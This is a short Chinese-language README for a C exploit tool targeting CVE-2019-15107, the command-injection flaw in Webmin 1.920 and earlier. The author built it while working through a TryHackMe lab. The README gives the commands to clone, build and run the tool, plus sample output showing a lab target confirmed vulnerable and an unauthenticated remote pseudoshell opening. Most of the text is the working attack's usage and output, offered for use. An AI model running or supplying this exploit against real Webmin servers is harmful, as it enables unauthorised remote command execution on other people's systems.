
C 语言编写的 CVE-2019-15107 Webmin 漏洞利用
在 Webmin <=1.920 中发现了一个问题。参数 old 在 password_change.cgi 中包含了命令注入漏洞。 [NVD]
$ git clone https://github.com/whokilleddb/CVE-2019-15107
$ cd CVE-2019-15107
$ make
$ ./exploit http://thomaswreath.thm:10000
[+] CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
[+] Target URI: http://thomaswreath.thm:10000
======Headers======
HTTP/1.0 200 Document follows
Server: MiniServ/1.890
Date: Sat, 14 Aug 2021 23:40:01 GMT
Content-type: text/html; Charset=iso-8859-1
Connection: close
[~] The Given Server Is Running In SSL MODE
[+] Switching To SSL
[+] The Given Server Might Be Vulnerable To CVE-2019-15107
[+] The Given Server IS VULNERABLE To CVE-2019-15107
[+] Starting Pseudoshell
[+] Maximum Command Length(CMD_SIZE) Is Set To: 2048
[+] To Exit, type: exit()
PS:这个利用工具是在我尝试 TryHackMe 的 Wreath Network 时制作的,因此这里展示的例子对应了该靶机。
问:为什么用 C 而不是 Python3?
答:因为我是一个精神病患者